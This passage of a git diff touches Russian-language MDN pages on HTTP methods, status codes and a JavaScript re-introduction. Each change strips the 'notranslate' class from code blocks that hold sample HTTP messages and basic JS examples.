Web/HTTP/Methods/PATCH <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1 +<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 </pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос">Запрос</h3> -<pre class="line-numbers language-html notranslate">PATCH /file.txt HTTP/1.1 +<pre class="line-numbers language-html">PATCH /file.txt HTTP/1.1 Host: www.example.com Content-Type: application/example If-Match: "e0023aa4e" @@ -72,7 +72,7 @@ Content-Length: 100 <p>Успешный ответ указывается с помощью кода ответа {{HTTPStatus("204")}}, поскольку ответ в примере не содержит тела сообщения. А если бы содержал, то код был бы {{HTTPStatus("200")}}.</p> -<pre class="newpage notranslate">HTTP/1.1 204 No Content +<pre class="newpage">HTTP/1.1 204 No Content Content-Location: /file.txt ETag: "e0023aa4f"</pre> diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html index 8b35300ebd..53d83362ab 100644 --- a/files/ru/web/http/overview/index.html +++ b/files/ru/web/http/overview/index.html @@ -106,12 +106,12 @@ translation_of: Web/HTTP/Overview <ol> <li>Открытие TCP соединения: TCP-соединение будет использоваться для отправки запроса (или запросов) и получения ответа. Клиент может открыть новое соединение, переиспользовать существующее или открыть несколько TCP-соединений к серверу.</li> <li>Отправка HTTP-сообщения: HTTP-сообщения (до HTTP/2) являются человекочитаемыми. Начиная с HTTP/2, простые сообщения инкапсулируются во фреймы, делая невозможным их чтение напрямую, но принципиально остаются такими же. - <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 + <pre class="line-numbers language-html"><code class="language-html">GET / HTTP/1.1 Host: developer.mozilla.org Accept-Language: fr</code></pre> </li> <li>Читает ответ от сервера: - <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK + <pre class="line-numbers language-html"><code class="language-html">HTTP/1.1 200 OK Date: Sat, 09 Oct 2010 14:28:02 GMT Server: Apache Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html index b96ed33889..c49682e9a8 100644 --- a/files/ru/web/http/status/301/index.html +++ b/files/ru/web/http/status/301/index.html @@ -15,18 +15,18 @@ translation_of: Web/HTTP/Status/301 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">301 Moved Permanently</pre> +<pre class="syntaxbox">301 Moved Permanently</pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос_клиента">Запрос клиента</h3> -<pre class="notranslate">GET /index.php HTTP/1.1 +<pre>GET /index.php HTTP/1.1 Host: www.example.org</pre> <h3 id="Ответ_сервера">Ответ сервера</h3> -<pre class="notranslate">HTTP/1.1 301 Moved Permanently +<pre>HTTP/1.1 301 Moved Permanently Location: http://www.example.org/index.asp</pre> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html index 9e42dd15ea..cf1233a97a 100644 --- a/files/ru/web/http/status/307/index.html +++ b/files/ru/web/http/status/307/index.html @@ -17,20 +17,20 @@ translation_of: Web/HTTP/Status/307 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">307 Temporary Redirect +<pre class="syntaxbox">307 Temporary Redirect </pre> <h2 id="Пример">Пример</h2> <h3 id="Запрос_клиента">Запрос клиента</h3> -<pre class="syntaxbox notranslate">DELETE /cars/oldest HTTP/1.1 +<pre class="syntaxbox">DELETE /cars/oldest HTTP/1.1 Host: www.example.org </pre> <h3 id="Ответ_сервера">Ответ сервера</h3> -<pre class="syntaxbox notranslate">HTTP/1.1 307 Temporary Redirect +<pre class="syntaxbox">HTTP/1.1 307 Temporary Redirect Location: http://www.example.org/cars/id/123456 </pre> diff --git a/files/ru/web/http/status/400/index.html b/files/ru/web/http/status/400/index.html index 14939c0e29..96c5de6e73 100644 --- a/files/ru/web/http/status/400/index.html +++ b/files/ru/web/http/status/400/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/400 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">400 Bad Request </pre> +<pre class="syntaxbox">400 Bad Request </pre> <h2 id="Характеристики">Характеристики</h2> diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html index e9312bc330..cd194a7fbf 100644 --- a/files/ru/web/http/status/401/index.html +++ b/files/ru/web/http/status/401/index.html @@ -13,11 +13,11 @@ translation_of: Web/HTTP/Status/401 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">401 Unauthorized</pre> +<pre class="syntaxbox">401 Unauthorized</pre> <h2 id="Пример_ответа">Пример ответа</h2> -<pre class="notranslate">HTTP/1.1 401 Unauthorized +<pre>HTTP/1.1 401 Unauthorized Date: Wed, 21 Oct 2015 07:28:00 GMT WWW-Authenticate: Basic realm="Access to staging site"</pre> diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html index a1972dac7a..d3b66c5d52 100644 --- a/files/ru/web/http/status/403/index.html +++ b/files/ru/web/http/status/403/index.html @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Status/403 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">403 Forbidden</pre> +<pre class="syntaxbox">403 Forbidden</pre> <h2 id="Пример_ответа">Пример ответа</h2> -<pre class="notranslate">HTTP/1.1 403 Forbidden +<pre>HTTP/1.1 403 Forbidden Date: Wed, 21 Oct 2015 07:28:00 GMT </pre> diff --git a/files/ru/web/http/status/404/index.html b/files/ru/web/http/status/404/index.html index 874c7c8284..206157642d 100644 --- a/files/ru/web/http/status/404/index.html +++ b/files/ru/web/http/status/404/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/Status/404 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">404 Not Found</pre> +<pre class="syntaxbox">404 Not Found</pre> <h2 id="Пользовательские_страницы_ошибок">Пользовательские страницы ошибок</h2> <p>Многие веб-сайты настраивают внешний вид страницы 404, чтобы быть более полезными для пользователя и давать рекомендации. Серверы Apache могут быть настроены с использованием файла <strong>.htaccess</strong> и фрагмента кода, например, такого, как этот.</p> -<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> +<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre> <p>Вы можете взять <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a> в качестве вдохновения.</p> diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html index 8259e60b6d..07abd56576 100644 --- a/files/ru/web/http/status/405/index.html +++ b/files/ru/web/http/status/405/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/405 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">405 Method Not Allowed</pre> +<pre class="syntaxbox">405 Method Not Allowed</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html index d7950cd91c..064ac1c8df 100644 --- a/files/ru/web/http/status/408/index.html +++ b/files/ru/web/http/status/408/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/408 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">408 Request Timeout</pre> +<pre class="syntaxbox">408 Request Timeout</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html index 6489e40b2b..3143b562b2 100644 --- a/files/ru/web/http/status/425/index.html +++ b/files/ru/web/http/status/425/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTTP/Status/425 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">425 Too Early</pre> +<pre class="syntaxbox">425 Too Early</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html index 33984a0b41..82b02e0e60 100644 --- a/files/ru/web/http/status/429/index.html +++ b/files/ru/web/http/status/429/index.html @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Status/429 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">429 Too Many Requests</pre> +<pre class="syntaxbox">429 Too Many Requests</pre> <h2 id="Пример">Пример</h2> -<pre class="notranslate">HTTP/1.1 429 Too Many Requests +<pre>HTTP/1.1 429 Too Many Requests Content-Type: text/html Retry-After: 3600</pre> diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html index a722882efc..f676e573e0 100644 --- a/files/ru/web/http/status/500/index.html +++ b/files/ru/web/http/status/500/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTTP/Status/500 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">500 Internal Server Error (Внутренняя ошибка сервера)</pre> +<pre class="syntaxbox">500 Internal Server Error (Внутренняя ошибка сервера)</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/502/index.html b/files/ru/web/http/status/502/index.html index ad3d25909f..4984b27142 100644 --- a/files/ru/web/http/status/502/index.html +++ b/files/ru/web/http/status/502/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Status/502 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">502 Bad Gateway</pre> +<pre class="syntaxbox">502 Bad Gateway</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/status/503/index.html b/files/ru/web/http/status/503/index.html index c8a6882b34..4f70ede335 100644 --- a/files/ru/web/http/status/503/index.html +++ b/files/ru/web/http/status/503/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/503 <h2 id="Статус">Статус</h2> -<pre class="syntaxbox notranslate">503 Service Unavailable</pre> +<pre class="syntaxbox">503 Service Unavailable</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html index 7a93230090..617f628f8a 100644 --- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html +++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html @@ -57,26 +57,26 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>Числа в JavaScript — это "64-битные значения двойной точности формата IEEE 754", согласно спецификации. Это имеет интересные последствия. В JavaScript нет такой вещи, как целое число, поэтому с арифметикой нужно быть начеку, если вы привыкли к вычислениям в языках C или Java. Взгляните на пример:</p> -<pre class="brush: js notranslate">0.1 + 0.2 == 0.30000000000000004 +<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004 </pre> <p>На практике целые значения это 32-битные целые (и хранятся таким образом в некоторых браузерных реализациях), что может быть важно для побитовых операций.</p> <p>Поддерживаются стандартные <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators">арифметические операторы</a>, включая сложение, вычитание, остаток от деления и т.д. Есть ещё встроенный объект, который я забыл упомянуть, называемый <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Math" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Math">Math</a>, который содержит более продвинутые математические функции и константы:</p> -<pre class="brush: js notranslate">Math.sin(3.5); +<pre class="brush: js">Math.sin(3.5); var circumference = Math.PI * (r + r); </pre> <p>Вы можете преобразовать строку в целое число, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/Core_JavaScript_1.5_Reference/Global_Functions/parseInt">parseInt()</a></code>. Её необязательный второй параметр — основание системы счисления, которое следует всегда явно указывать:</p> -<pre class="brush: js notranslate">parseInt("123", 10); // 123 +<pre class="brush: js">parseInt("123", 10); // 123 parseInt("010", 10); // 10 </pre> <p>Если вы не предоставите основание, то можете получить неожиданные результаты:</p> -<pre class="brush: js notranslate">parseInt("010"); // 8 +<pre class="brush: js">parseInt("010"); // 8 parseInt("0x10"); // 16 </pre> @@ -84,41 +84,41 @@ parseInt("0x10"); // 16 <p>Если хотите преобразовать двоичное число в десятичное целое, просто смените основание:</p> -<pre class="brush: js notranslate">parseInt("11", 2); // 3 +<pre class="brush: js">parseInt("11", 2); // 3 </pre> <p>Вы можете аналогично парсить дробные числа, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseFloat" title="en/JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code>, которая использует всегда основание 10 в отличие от родственной <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a>.</p> <p>Также можно использовать унарный оператор <strong><code>+</code></strong> для преобразования значения в число:</p> -<pre class="brush: js notranslate">+ "42"; // 42 +<pre class="brush: js">+ "42"; // 42 + "0x10"; // 16 </pre> <p>Специальное значение <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> (сокращение от "Not a Number") возвращается, если строка не является числом:</p> -<pre class="brush: js notranslate">parseInt("hello", 10); // NaN +<pre class="brush: js">parseInt("hello", 10); // NaN </pre> <p><code>NaN</code> "заразителен": любая математическая операция над <code>NaN</code> возвращает <code>NaN</code>:</p> -<pre class="brush: js notranslate">NaN + 5; // NaN +<pre class="brush: js">NaN + 5; // NaN </pre> <p>Проверить значение на <code>NaN</code> можно встроенной функцией <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isNaN">isNaN()</a></code>:</p> -<pre class="brush: js notranslate">isNaN(NaN); // true +<pre class="brush: js">isNaN(NaN); // true </pre> <p>JavaScript также имеет специальные значения <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="en/Core_JavaScript_1.5_Reference/Global_Properties/Infinity">Infinity</a></code> (бесконечность) и<code> -Infinity</code>:</p> -<pre class="brush: js notranslate">1 / 0; // Infinity +<pre class="brush: js">1 / 0; // Infinity -1 / 0; // -Infinity </pre> <p>Проверить значение на <code>Infinity</code>, <code>-Infinity</code> и <code>NaN</code> можно с помощью встроенной функции <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isFinite" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isFinite">isFinite()</a></code>:</p> -<pre class="brush: js notranslate">isFinite(1/0); // false +<pre class="brush: js">isFinite(1/0); // false isFinite(-Infinity); // false isFinite(NaN); // false </pre> @@ -133,12 +133,12 @@ isFinite(NaN); // false <p>Чтобы выяснить длину строки (в кодовых единицах), используйте свойство <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code>:</p> -<pre class="brush: js notranslate">"hello".length; // 5 +<pre class="brush: js">"hello".length; // 5 </pre> <p>Это уже первый шаг для работы с объектами! Мы уже говорили, что и строки можно использовать как объекты? У них тоже есть <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods">методы</a>:</p> -<pre class="brush: js notranslate">"hello".charAt(0); // h +<pre class="brush: js">"hello".charAt(0); // h "hello, world".replace("hello", "goodbye"); // goodbye, world "hello".toUpperCase(); // HELLO </pre> @@ -156,7 +156,7 @@ isFinite(NaN); // false <p>Преобразование значений можно осуществить явно, используя функцию <code>Boolean()</code>:</p> -<pre class="brush: js notranslate">Boolean(""); // false +<pre class="brush: js">Boolean(""); // false Boolean(234); // true </pre> @@ -168,13 +168,13 @@ Boolean(234); // true <p>Для объявления новых переменных в JavaScript используются ключевые слова <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var" title="/en/JavaScript/Reference/Statements/var">var</a></code>.</p> -<pre class="brush: js notranslate">let a; +<pre class="brush: js">let a; let name = "Simon"; </pre> <p><strong><code>let</code> </strong>позволяет объявлять переменные, которые доступны только в <em><strong>блоке</strong>,</em> в котором они объявлены:</p> -<pre class="brush: js notranslate">// myLetVariable недоступна здесь +<pre class="brush: js">// myLetVariable недоступна здесь for (let myLetVariable = 0; myLetVariable < 5; myLetVariable++) { // myLetVariable доступна только здесь @@ -184,17 +184,17 @@ for (let myLetVariable = 0; myLetVariable < 5; myLetVariable++) { <p><code><strong>const</strong></code> позволяет создавать переменные, чьи значения не предполагают изменений. Переменная доступна из <em><strong>блока</strong></em>, в котором она объявлена.</p> -<pre class="brush: js notranslate">const Pi = 3.14; // в переменную Pi записано значение. +<pre class="brush: js">const Pi = 3.14; // в переменную Pi записано значение. Pi = 1; // вызовет исключение, так как значение константы нельзя изменить.</pre> <p><code><strong>var</strong></code> наиболее общее средство объявления переменной. Оно не имеет ограничений, которые имеют два вышеописанных способа. Это потому, что это был изначально единственный способ объявления переменной в JavaScript. Переменная, объявленная с помощью <strong><code>var</code>, </strong>доступна в пределах <strong><em>функции</em></strong>, в которой она объявлена.</p> -<pre class="brush: js notranslate">var a; +<pre class="brush: js">var a; var name = 'Simon';</pre> <p>Пример кода с переменной, объявленной с помощью <strong><code>var</code>:</strong></p> -<pre class="brush: js notranslate">// myVarVariable доступна здесь +<pre class="brush: js">// myVarVariable доступна здесь for (var myVarVariable = 0; myVarVariable < 5; myVarVariable++) { // myVarVariable доступна для всей функции @@ -210,7 +210,7 @@ for (var myVarVariable = 0; myVarVariable < 5; myVarVariable++) { <p>JavaScript поддерживает такие операторы, как <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> и <code>%</code>, который возвращает остаток от деления (<a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">не путать с модулем</a>). Значения присваиваются с помощью оператора <code>=</code>, или с помощью составных операторов <code>+=</code> и <code>-=</code>. Это сокращённая запись выражения <code><strong>x = x </strong><em>оператор</em><strong> y</strong></code>.</p> -<pre class="brush: js notranslate">x += 5 +<pre class="brush: js">x += 5 x = x + 5 </pre> @@ -218,12 +218,12 @@ x = x + 5 <p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/String_Operators">Оператор <code>+</code></a> так же выполняет конкатенацию (объединение) строк:</p> -<pre class="brush: js notranslate">"hello" + " world"; // "hello world" +<pre class="brush: js">"hello" + " world"; // "hello world" </pre> <p>При сложении строкового и числового значений происходит автоматическое преобразование в строку. Поначалу такое может запутать:</p> -<pre class="brush: js notranslate">"3" + 4 + 5; // "345" +<pre class="brush: js">"3" + 4 + 5; // "345" 3 + 4 + "5"; // "75" </pre> @@ -231,12 +231,12 @@ x = x + 5 <p>Для <a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">сравнения</a> в JavaScript используются следующие операторы: <code><</code>, <code>></code>, <code><=</code> и <code>>=</code>. Сравнивать можно не только числа, но и строки. Проверка на равенство немного сложнее. Для проверки используют двойной (<code>==</code>) или тройной (<code>===</code>) оператор присваивания. Двойной оператор <code>==</code> осуществляет автоматическое преобразование типов, что может приводить к интересным результатам:</p> -<pre class="brush: js notranslate">123 == "123"; // true +<pre class="brush: js">123 == "123"; // true 1 == true; // true</pre> <p>Если преобразование нежелательно, то используют оператор строгого равенства:</p> -<pre class="brush: js notranslate">1 === true; // false +<pre class="brush: js">1 === true; // false 123 === "123"; // false true === true; // true</pre> @@ -248,7 +248,7 @@ true === true; // true</pre> <p>Управляющие структуры в JavaScript очень похожи на таковые в языках семейства C. Условные операторы выражены ключевыми словами <code>if</code> и <code>else</code>, которые можно составлять в цепочки:</p> -<pre class="brush: js notranslate">var name = "kittens"; +<pre class="brush: js">var name = "kittens"; if (name == "puppies") { name += "!"; } else if (name == "kittens") { @@ -261,7 +261,7 @@ name == "kittens!!" <p>В JavaScript есть три типа циклов: <code>while</code>, <code>do-while</code> и <code>for</code>. While используется для задания обычного цикла, а do-while целесообразно применить в том случае, если вы хотите, чтобы цикл был выполнен хотя бы один раз:</p> -<pre class="brush: js notranslate">while (true) { +<pre class="brush: js">while (true) { // бесконечный цикл! } @@ -273,41 +273,41 @@ do { <p>Цикл <code>for</code> похож на такой же в языках C и Java: он позволяет задавать данные для контроля за выполнением цикла:</p> -<pre class="brush: js notranslate">for (var i = 0; i < 5; i++) { +<pre class="brush: js">for (var i = 0; i < 5; i++) { // Выполнится 5 раз } </pre> <p>JavaScript также содержит две других известных конструкции: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p> -<pre class="brush: js notranslate">for (let value of array) { +<pre class="brush: js">for (let value of array) { // операции с value }</pre> <p>и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p> -<pre class="brush: js notranslate">for (let property in object) { +<pre class="brush: js">for (let property in object) { // операции над свойствами объекта }</pre> <p>Логические операторы <code>&&</code> и <code>||</code> используют "короткий цикл вычисления", это значит, что вычисление каждого последующего оператора зависит от предыдущего. Например, полезно проверить существует ли объект или нет, прежде чем пытаться получить доступ к его свойствам:</p> -<pre class="brush: js notranslate">var name = o && o.getName(); +<pre class="brush: js">var name = o && o.getName(); </pre> <p>Таким способом удобно задавать значения по умолчанию:</p> -<pre class="brush: js notranslate">var name = otherName || "default"; +<pre class="brush: js">var name = otherName || "default"; </pre> <p>К условным операторам в JavaScript принадлежит также тернарный оператор "<code>?</code>" :</p> -<pre class="brush: js notranslate">var allowed = (age > 18) ? "yes" : "no"; +<pre class="brush: js">var allowed = (age > 18) ? "yes" : "no"; </pre> <p>Оператор <code>switch</code> используется при необходимости множественного сравнения:</p> -<pre class="brush: js notranslate">switch(action) { +<pre class="brush: js">switch(action) { case 'draw': drawit(); break; @@ -321,7 +321,7 @@ do { <p>Если в конце инструкции <code>case</code> не добавить останавливающую инструкцию <code>break</code>, то выполнение перейдёт к следующей инструкции <code>case</code>. Как правило, такое поведение нежелательно, но если вдруг вы решили его использовать, настоятельно рекомендуем писать соответствующий комментарий для облегчения поиска ошибок:</p> -<pre class="brush: js notranslate">switch(a) { +<pre class="brush: js">switch(a) { case 1: // fallthrough case 2: eatit(); @@ -333,7 +333,7 @@ do { <p>Вариант <code>default</code> опциональный. Допускается использование выражений как в условии <code>switch</code>, так и в <code>cases</code>. При проверке на равенство используется оператор строгого равенства <code>===</code>:</p> -<pre class="brush: js notranslate">switch(1 + 3) { +<pre class="brush: js">switch(1 + 3) { case 2 + 2: yay(); break; @@ -358,19 +358,19 @@ do { <p>Существует два основных способа создать объект:</p> -<pre class="brush: js notranslate">var obj = new Object(); +<pre class="brush: js">var obj = new Object(); </pre> <p>А также:</p> -<pre class="brush: js notranslate">var obj = {}; +<pre class="brush: js">var obj = {}; </pre> <p>Обе эти записи делают одно и то же. Вторая запись называется литералом объекта и более удобная. Такой способ является основой формата JSON, и при написании кода лучше использовать именно его.</p> <p>С помощью литерала объекта можно создавать не только пустые объекты, но и объекты с данными:</p> -<pre class="brush: js notranslate">var obj = { +<pre class="brush: js">var obj = { name: "Carrot", "for": "Max", details: { @@ -382,12 +382,12 @@ do { <p>Доступ к свойствам объекта можно получить следующими способами:</p> -<pre class="brush: js notranslate">obj.details.color; // orange +<pre class="brush: js">obj.details.color; // orange obj['details']['size']; // 12</pre> <p>Эти два метода равнозначны. Первый метод используется, если мы точно знаем к какому методу нам нужно обратиться. Второй метод принимает в качестве имени свойства строку, и позволяет вычислять имя в процессе вычислений. Следует отметить, что последний метод мешает некоторым движкам и минимизаторам оптимизировать код. Если появится необходимость назначить в качестве имён свойств объекта <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords" title="en/Core_JavaScript_1.5_Reference/Reserved_Words">зарезервированные слова</a>, то данный метод тоже может пригодиться:</p> -<pre class="brush: js notranslate">// Вызовет Syntax error, ведь 'for' это зарезервированное слово +<pre class="brush: js">// Вызовет Syntax error, ведь 'for' это зарезервированное слово obj.for = "Simon"; // А тут всё нормально @@ -413,7 +413,7 @@ obj["for"] = "Simon"; <p>Создать массив можно по старинке:</p> -<pre class="brush: js notranslate">var a = new Array(); +<pre class="brush: js">var a = new Array(); a[0] = "dog"; a[1] = "cat"; a[2] = "hen"; @@ -422,13 +422,13 @@ a.length; // 3 <p>Но гораздо удобнее использовать литерал массива:</p> -<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"]; +<pre class="brush: js">var a = ["dog", "cat", "hen"]; a.length; // 3 </pre> <p>Запомните, свойство <code>array.length</code> не обязательно будет показывать количество элементов в массиве. Посмотрите пример:</p> -<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"]; +<pre class="brush: js">var a = ["dog", "cat", "hen"]; a[100] = "fox"; a.length; // 101 </pre> @@ -437,19 +437,19 @@ a.length; // 101 <p>Если попытаться получить доступ к несуществующему элементу массива, то получите <code>undefined</code>:</p> -<pre class="brush: js notranslate">typeof a[90]; // undefined +<pre class="brush: js">typeof a[90]; // undefined </pre> <p>Для перебора элементов массива используйте такой способ:</p> -<pre class="brush: js notranslate">for (var i = 0; i < a.length; i++) { +<pre class="brush: js">for (var i = 0; i < a.length; i++) { // Сделать что-нибудь с элементом a[i] } </pre> <p>ES2015 представляет более краткий <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> способ обхода по итерируемым объектам, в т.ч. массивам:</p> -<pre class="notranslate"><code>for (const currentValue of a) { +<pre><code>for (const currentValue of a) { // С</code>делать что-нибудь с<code> currentValue }</code> </pre> @@ -458,13 +458,13 @@ a.length; // 101 <p>И самый новый способ перебора свойств массива был добавлен в ECMAScript 5 — это метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a>:</p> -<pre class="brush: js notranslate">["dog", "cat", "hen"].forEach(function(currentValue, index, array) { +<pre class="brush: js">["dog", "cat", "hen"].forEach(function(currentValue, index, array) { // Сделать что-нибудь с currentValue или array[index] });</pre> <p>Для добавления данных в массив используйте метод <code>push()</code>:</p> -<pre class="brush: js notranslate">a.push(item);</pre> +<pre class="brush: js">a.push(item);</pre> <p>У массивов есть ещё множество полезных методов. С их полным списком вы можете ознакомиться <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">по ссылке</a>.</p> @@ -531,7 +531,7 @@ a.length; // 101 <p>Наряду с объектами функции также являются ключевыми компонентами языка JavaScript. Базовые функции очень просты:</p> -<pre class="brush: js notranslate">function add(x, y) { +<pre class="brush: js">function add(x, y) { var total = x + y; return total; } @@ -541,17 +541,17 @@ a.length; // 101 <p>Можно вызвать функцию, вообще не передавая ей параметры. В таком случае будет считаться, что их значения равны <code>undefined</code>:</p> -<pre class="brush: js notranslate">add(); // NaN +<pre class="brush: js">add(); // NaN // Нельзя проводить сложение undefined и undefined</pre> <p>Можно передать больше аргументов, чем ожидает функция:</p> -<pre class="brush: js notranslate">add(2, 3, 4); // 5 +<pre class="brush: js">add(2, 3, 4); // 5 // используются только первые два аргумента, "4" игнорируется</pre> <p>Это может показаться бессмысленным, но на самом деле функции могут получить доступ к "лишним" аргументам с помощью псевдомассива <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments" title="En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments"><code>arguments</code></a>, в нём содержатся значения всех аргументов, переданных функции. Давайте напишем функцию, которая принимает неограниченное количество аргументов:</p> -<pre class="brush: js notranslate">function add() { +<pre class="brush: js">function add() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -564,7 +564,7 @@ add(2, 3, 4, 5); // 14 <p>Или создадим функцию для вычисления среднего значения:</p> -<pre class="brush: js notranslate">function avg() { +<pre class="brush: js">function avg() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -576,7 +576,7 @@ avg(2, 3, 4, 5); // 3.5 <p>Это довольно полезно, но при этом кажется излишне подробным. Для уменьшения количества кода взглянем на замену использования массива аргументов <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">синтаксисом остаточных параметров</a>. В этом случае мы можем передавать в функцию любое количество аргументов, сохраняя код минималистичным. <strong>Оператор остаточных параметров</strong> используется в списке параметров функции в формате: <strong>...variable</strong> и включает в себя целый список аргументов, с которыми функция будет вызвана. Мы будем также использовать замену цикла <strong>for</strong> циклом <strong>for...of</strong> для получения значений, которые будет содержать наша переменная.</p> -<pre class="brush: js notranslate">function avg(...args) { +<pre class="brush: js">function avg(...args) { var sum = 0; for (let value of args) { sum += value; @@ -592,7 +592,7 @@ avg(2, 3, 4, 5); // 3.5</pre> Важно отметить, что где бы ни был размещён <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> </div> -<pre class="brush: js notranslate">function avgArray(arr) { +<pre class="brush: js">function avgArray(arr) { var sum = 0; for (var i = 0, j = arr.length; i < j; i++) { sum += arr[i]; @@ -604,7 +604,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> 